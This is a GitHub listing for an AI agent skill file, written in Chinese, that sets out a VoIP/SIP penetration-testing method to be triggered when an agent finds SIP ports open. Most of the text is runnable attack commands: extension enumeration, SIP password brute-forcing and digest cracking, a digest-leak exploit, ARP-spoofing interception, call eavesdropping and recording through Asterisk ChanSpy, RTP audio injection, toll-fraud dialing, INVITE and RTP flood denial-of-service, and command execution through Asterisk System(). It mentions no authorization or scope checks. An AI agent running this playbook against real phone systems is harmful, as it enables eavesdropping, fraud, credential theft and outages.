voip-pentesting
$
npx mdskill add wgpsec/AboutSecurity/voip-pentestingExecute VoIP/SIP penetration tests to secure voice infrastructure.
- Identify vulnerabilities in PBX systems and voice communication protocols.
- Integrates with SIP scanners, Asterisk tools, and network sniffers.
- Decides actions based on detected open ports and protocol weaknesses.
- Delivers detailed attack vectors and remediation steps for security teams.
SKILL.md
.github/skills/voip-pentestingView on GitHub ↗
---
name: voip-pentesting
description: |
VoIP/SIP 服务渗透测试方法论。涵盖 SIP 服务发现与枚举、SIP 认证攻击、通话劫持与窃听、SRTP 降级攻击、SIP 注册劫持、DoS 攻击、SRTP/ZRTP 安全分析。
当 Agent 扫描发现 SIP 端口 (5060/5061) 开放、需要测试 VoIP 基础设施安全、枚举 SIP 分机、或评估通话安全性时,触发此 Skill。
metadata:
tags:
- voip
- sip
- rtp
- 语音通信
- 通话劫持
- sipvicious
category: exploit/network-service
---
# VoIP/SIP 渗透测试方法论
## 深入参考
- SIP 协议详解、SIPVicious 工具链、RTP 注入/窃听、Asterisk 配置审计 -> 读 [references/voip-techniques.md](references/voip-techniques.md)
---
## 整体决策树
```
VoIP 基础设施渗透测试
├─ Phase 1: 服务发现
│ ├─ SIP 端口扫描 (5060 UDP/TCP, 5061 TLS)
│ ├─ svmap / SIPPTS scan / Nmap -> SIP 设备发现
│ ├─ PBX 附属服务 (TFTP/HTTP/MySQL/LDAP)
│ └─ Google Dorks -> 暴露的 VoIP 管理界面
├─ Phase 2: SIP 枚举
│ ├─ 方法枚举 (OPTIONS / SIPPTS enumerate)
│ ├─ 分机枚举 (svwar / SIPPTS exten)
│ ├─ 响应头分析 -> 指纹识别
│ └─ 电话号码 OSINT
├─ Phase 3: 认证攻击
│ ├─ 在线密码爆破 (svcrack / SIPPTS rcrack)
│ ├─ 离线摘要破解 (sipdump + sipcrack)
│ ├─ SIP Digest Leak 漏洞利用
│ └─ 默认凭据
├─ Phase 4: 通话劫持与窃听
│ ├─ 网络嗅探 (Wireshark / ucsniff)
│ ├─ ARP 欺骗 -> MitM -> RTP 捕获
│ ├─ ChanSpy / ExtenSpy (Asterisk 监听)
│ ├─ RTP 注入 (rtpinsertsound / rtpmixsound)
│ └─ DTMF 码提取 (voicemail 密码)
├─ Phase 5: 安全协议分析
│ ├─ TLS 使用 -> SIP 通信加密
│ ├─ SRTP 使用 -> RTP 通信加密
│ ├─ ZRTP 使用 -> 端到端加密
│ └─ 未加密 -> 完全可嗅探
├─ Phase 6: 已知漏洞与攻击
│ ├─ RTCPBleed (RTP 代理 NAT 绕过)
│ ├─ Asterisk 配置错误 (免费拨号)
│ ├─ 分机注入
│ ├─ Click2Call 滥用
│ └─ OS/固件漏洞 (FreePBX / Elastix)
└─ DoS 攻击
├─ SIP INVITE Flood
├─ RTP Flood
└─ IAX Flood
```
---
## Phase 1: 服务发现
### 1.1 网络扫描
```bash
# Nmap SIP 方法扫描
sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24
# svmap (SIPVicious) — SIP 设备发现
svmap 10.10.0.0/24 -p 5060-5070 [--fp]
# --fp: 指纹识别
# 注意: 默认 User-Agent 为 "friendly-scanner",容易被阻断
# SIPPTS scan — 高速 SIP 扫描 (UDP/TCP/TLS)
sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]
# Metasploit
use auxiliary/scanner/sip/options_tcp # TCP
use auxiliary/scanner/sip/options # UDP
```
### 1.2 附属服务检查
```
PBX 可能暴露的服务
├─ 69/UDP (TFTP) -> 固件更新文件
├─ 80/443 (HTTP/HTTPS) -> Web 管理界面
├─ 389 (LDAP) -> 用户信息
├─ 3306 (MySQL) -> 数据库
├─ 5038 (Asterisk Manager) -> 管理接口
├─ 5222 (XMPP) -> 即时消息
└─ 5432 (PostgreSQL) -> 数据库
```
### 1.3 Google Dorks
```bash
# Grandstream 设备
intitle:"Grandstream Device Configuration" Password
# Cisco CallManager
inurl:"ccmuser/logon.asp"
# Elastix
intitle:"Elastix - Login page" intext:"Elastix is licensed under GPL"
# FreePBX
inurl:"maint/index.php?FreePBX" intitle:"FreePBX"
```
---
## Phase 2: SIP 枚举
### 2.1 方法枚举
```bash
# SIPPTS enumerate — 发现 PBX 支持的 SIP 方法
sippts enumerate -i 10.10.0.10
# 自定义消息发送与响应分析
sippts send -i 10.10.0.10 -m INVITE -ua Grandstream -fu 200 -fn Bob -fd 11.0.0.1 -tu 201 -fn Alice -td 11.0.0.2 -header "Allow-Events: presence" -sdp
# WebSocket SIP
sippts wssend -i 10.10.0.10 -r 443 -path /ws
```
### 2.2 分机枚举
```bash
# svwar (SIPVicious) — SIP 分机枚举
svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER
# SIPPTS exten — 大范围分机扫描
sippts exten -i 10.10.0.10 -r 5060 -e 100-200
# Metasploit
use auxiliary/scanner/sip/enumerator_tcp # TCP
use auxiliary/scanner/sip/enumerator # UDP
# enumiax — IAX 协议用户名枚举
enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10
```
---
## Phase 3: 认证攻击
### 3.1 在线密码爆破
```bash
# svcrack (SIPVicious)
svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080
svcrack -u100 -r1-9999 -z4 10.0.0.1 # 分机范围检查
# SIPPTS rcrack — 多用户/多 IP 密码破解
sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt
```
> **注意**: 用户名可能与分机号相同,也可能不同,取决于 PBX 配置。
### 3.2 离线摘要破解
```bash
# 从 pcap 提取 SIP 摘要认证
sipdump -p net-capture.pcap sip-creds.txt
sipcrack sip-creds.txt -w dict.txt
# SIPPTS dump + dcrack
sippts dump -f capture.pcap -o data.txt
sippts dcrack -f data.txt -w wordlist/rockyou.txt
# SIPPTS tshark — 从 pcap 提取 SIP 数据
sippts tshark -f capture.pcap [-filter auth]
```
### 3.3 SIP Digest Leak 漏洞
利用 SIP 电话固有的漏洞,诱使其泄露摘要认证响应:
```bash
# SIPPTS leak — 自动利用 SIP Digest Leak
sippts leak -i 10.10.0.10
```
攻击流程:
1. 攻击者发送 INVITE 到目标电话
2. 目标振铃 -> 有人接听后挂断
3. 目标发送 BYE
4. 攻击者回复 407 要求认证
5. 目标在第二个 BYE 中发送摘要认证
6. 离线破解摘要
---
## Phase 4: 通话劫持与窃听
### 4.1 网络嗅探
```bash
# 前提: 位于同一网络 / 可进行 ARP 欺骗
# 工具: Wireshark, tcpdump, ucsniff
# ucsniff — 专为 VoIP 设计的嗅探工具
ucsniff -i eth0
```
**加密检查**:
- SIP 使用 TLS -> 无法看到 SIP 通信明文
- 使用 SRTP/ZRTP -> RTP 数据包加密
### 4.2 Asterisk 监听功能
```bash
# ChanSpy — 监听所有通话
# 配置: exten => 333,1,ChanSpy('all',qb)
# 拨打 333 即开始监听,按 * 切换通话
# ExtenSpy — 监听指定分机
# 录制通话到文件
# [recorded-context]
# exten => _X.,1,Set(NAME=/tmp/${CONTEXT}_${EXTEN}_${CALLERID(num)}_${UNIQUEID}.wav)
# exten => _X.,2,MixMonitor(${NAME})
```
### 4.3 RTP 注入
```bash
# rtpinsertsound — 向通话注入音频
sudo apt install rtpinsertsound
rtpinsertsound <target_ip> <rtp_port> audio.wav
# rtpmixsound — 混合音频到通话
sudo apt install rtpmixsound
# DTMF 码提取 (语音信箱密码)
multimon -a DTMF -t wac pin.wav
```
---
## Phase 5: 安全协议分析
### 5.1 加密状态决策树
```
通信加密评估
├─ SIP 信令
│ ├─ 明文 (UDP/TCP 5060) -> 可嗅探所有信令
│ └─ TLS (5061) -> 信令加密
├─ RTP 媒体流
│ ├─ 明文 RTP -> 可捕获并播放通话
│ ├─ SRTP -> 媒体加密
│ └─ ZRTP -> 端到端加密
└─ 风险评估
├─ 全明文 -> 高风险 (完全可窃听)
├─ 仅 SIP TLS -> 中风险 (媒体仍可截获)
└─ TLS + SRTP/ZRTP -> 低风险
```
---
## Phase 6: 已知漏洞与攻击
### 6.1 RTCPBleed
RTP 代理的 NAT 穿越学习模式缺乏认证,攻击者可发送 RTP 包劫持媒体流:
```bash
# 检测 RTP Bleed
sippts rtpbleed -i 10.10.0.10
sippts rtcpbleed -i 10.10.0.10
# 利用 RTP Bleed Flood
sippts rtpbleedflood -i 10.10.0.10 -p 10070 -v
# 注入音频
sippts rtpbleedinject -i 10.10.0.10 -p 10070 -f audio.wav
```
### 6.2 Asterisk 配置错误
```
免费拨号风险评估
├─ type=friend + insecure=port,invite
│ └─ 任何人可连接并拨打外部号码
├─ allowguest=true (sip.conf 默认)
│ └─ 无认证用户可拨打
├─ 默认 context 包含外部拨号规则
│ └─ include => external (含 Dial(SIP/trunk/${EXTEN}))
└─ IVRS 分机长度未校验
└─ 输入完整电话号码拨出
```
### 6.3 分机注入
```bash
# 旧版 Asterisk: ${EXTEN} 可注入
# 输入 101&SIP123123123 -> 同时拨打 101 和 123123123
# 通过绕过匹配的分机名注入外部号码
```
### 6.4 未授权 INVITE 检测
```bash
# SIPPTS invite — 检测未认证拨号
sippts invite -i 10.10.0.10 -fu 200 -tu 555555555 -v
# 呼叫转移
sippts invite -i 10.10.0.10 -tu 555555555 -t 444444444
```
---
## DoS 攻击
```bash
# SIP INVITE Flood
sippts flood -i 10.10.0.10 -m invite -v
# SIP Ping (响应时间测试)
sippts ping -i 10.10.0.10
# IAX Flood
iaxflood <target>
# INVITE Flood (独立工具)
inviteflood <interface> <target> <port>
# SIPp (SIP 流量生成器)
sipp -sf scenario.xml <target>:5060
```
---
## Asterisk 后渗透
### 配置文件与凭据
```
关键文件
├─ sip.conf -> SIP 用户密码
├─ extensions.conf -> 拨号计划
├─ manager.conf -> AMI 管理密码
├─ FreePBX:
│ ├─ amportal.conf -> Web 管理员密码
│ └─ FreePBX.conf -> 数据库密码
├─ Elastix:
│ └─ Elastix.conf -> MySQL root / IMAP / Web 管理密码 (明文)
└─ MySQL root 可能无密码
```
### RCE (获取配置写入权限后)
```bash
# Asterisk System() 命令
same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)
# Shell() 命令 (替代 System)
same => n,Shell(command)
```
More from wgpsec/AboutSecurity
- 401-403-bypass401/403 访问拒绝绕过方法论。当遇到管理后台、API 端点返回 401/403 Forbidden 时使用。覆盖路径操纵、HTTP 方法篡改、Header 注入、协议降级、组合攻击
- ad-acl-abuseActive Directory ACL 滥用攻击方法论。当 BloodHound 发现 GenericAll/WriteDACL/WriteOwner/GenericWrite/ForceChangePassword 等危险 ACE 时使用。覆盖 ACE 枚举、权限滥用链、Shadow Credentials、RBCD 攻击
- ad-delegation-attackKerberos 委派攻击(非约束/约束/RBCD)。当 BloodHound 发现委派配置、或已获取有 SPN 的服务账号/机器账号控制权时使用。通过 S4U 协议滥用可实现跨服务模拟任意用户,常用于域内权限提升和横向移动。
- ad-domain-attackActive Directory 域环境攻击全链路。当目标主机在域环境中(systeminfo 显示 Domain 非 WORKGROUP)、发现 88/389/636 端口、或获取到域用户凭据时使用。覆盖域信息收集、用户枚举、Kerberoasting、AS-REP Roasting、委派攻击、ACL 滥用、DCSync、Golden/Silver Ticket
- ad-persistenceAD 域环境持久化技术。当已获取域管/本地管理员权限、需要建立持久访问以确保重启或密码更改后仍能回到目标环境时使用。覆盖主机级持久化(计划任务/注册表Run/COM劫持/WMI事件订阅/Windows服务/启动文件夹)、域级持久化(Golden Ticket/Silver Ticket/Skeleton Key/DSRM/AdminSDHolder)、DCShadow/GoldenGMSA高级技术、清理命令与检测规避
- ad-trust-attack域信任关系攻击。当目标存在多域/多林环境时使用。包含父子域提权(Golden Ticket + ExtraSid)、跨林攻击(SID History/MSSQL Trust Links)、单向信任利用。已获取子域 Domain Admin 或发现信任关系时优先加载。
- adcs-certipy-attackActive Directory Certificate Services (ADCS) 证书攻击。当发现域内有 CA 服务器、ADCS Web Enrollment、证书模板配置错误时使用。覆盖 ESC1-ESC11 所有证书滥用路径、Certipy 工具链、证书伪造、NTLM 中继到 ADCS。发现 ADCS/CA/证书/certsrv 相关内容时一定要使用此技能
- adinfo-enum使用 Adinfo 进行 Active Directory 信息收集。当获得域用户凭据后需要快速收集域环境信息时使用。Adinfo 是一个快速 AD 信息收集工具,一条命令输出域控列表、域管用户、信任关系、GPO、SPN、委派配置等关键信息——比手动 LDAP 查询快得多。发现域环境后第一步信息收集使用此技能
- agent-security|
- ai-data-security|